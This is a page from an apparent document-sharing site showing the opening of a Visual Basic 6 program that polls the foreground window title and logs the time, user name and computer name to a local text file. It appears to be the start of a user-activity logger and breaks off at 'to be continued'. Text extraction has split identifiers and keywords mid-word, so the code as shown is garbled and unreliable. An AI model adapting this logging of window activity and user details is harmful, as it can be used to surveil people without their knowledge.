You are on page 1of 1

'API Functions Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVa l hwnd As Long, ByVal lpString

As String, ByVal cch As Long) As Long Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLe ngthA" (ByVal hwnd As Long) As Long Private Declare Function GetForegroundWindow Lib "user32" () As Long Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDir ectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long 'Variable Declarations Dim title As String, last As String, strInfo As String, arg() As String, fileNam e As String Dim handle As Long, length As Long, size, fileSize, winDir As String, winDirLen As String, installed As Boolean Dim fso As New FileSystemObject, txt As TextStream Function createReport() 'Set Text File path to current path of application fileName = App.Path & "\jamusbone.txt" 'Create text file Set txt = fso.OpenTextFile(fileName, ForAppending, True) 'Write Started time and date to file txt.WriteLine ("Started: " & Now) 'Get computer name and current user name and write to file Set objnet = CreateObject("WScript.NetWork") strInfo = "User Name: " & objnet.Username & vbCrLf & _ "Computer Name: " & objnet.ComputerName & vbCrLf txt.WriteLine (vbNewLine & strInfo) 'set attribut to be continued

You might also like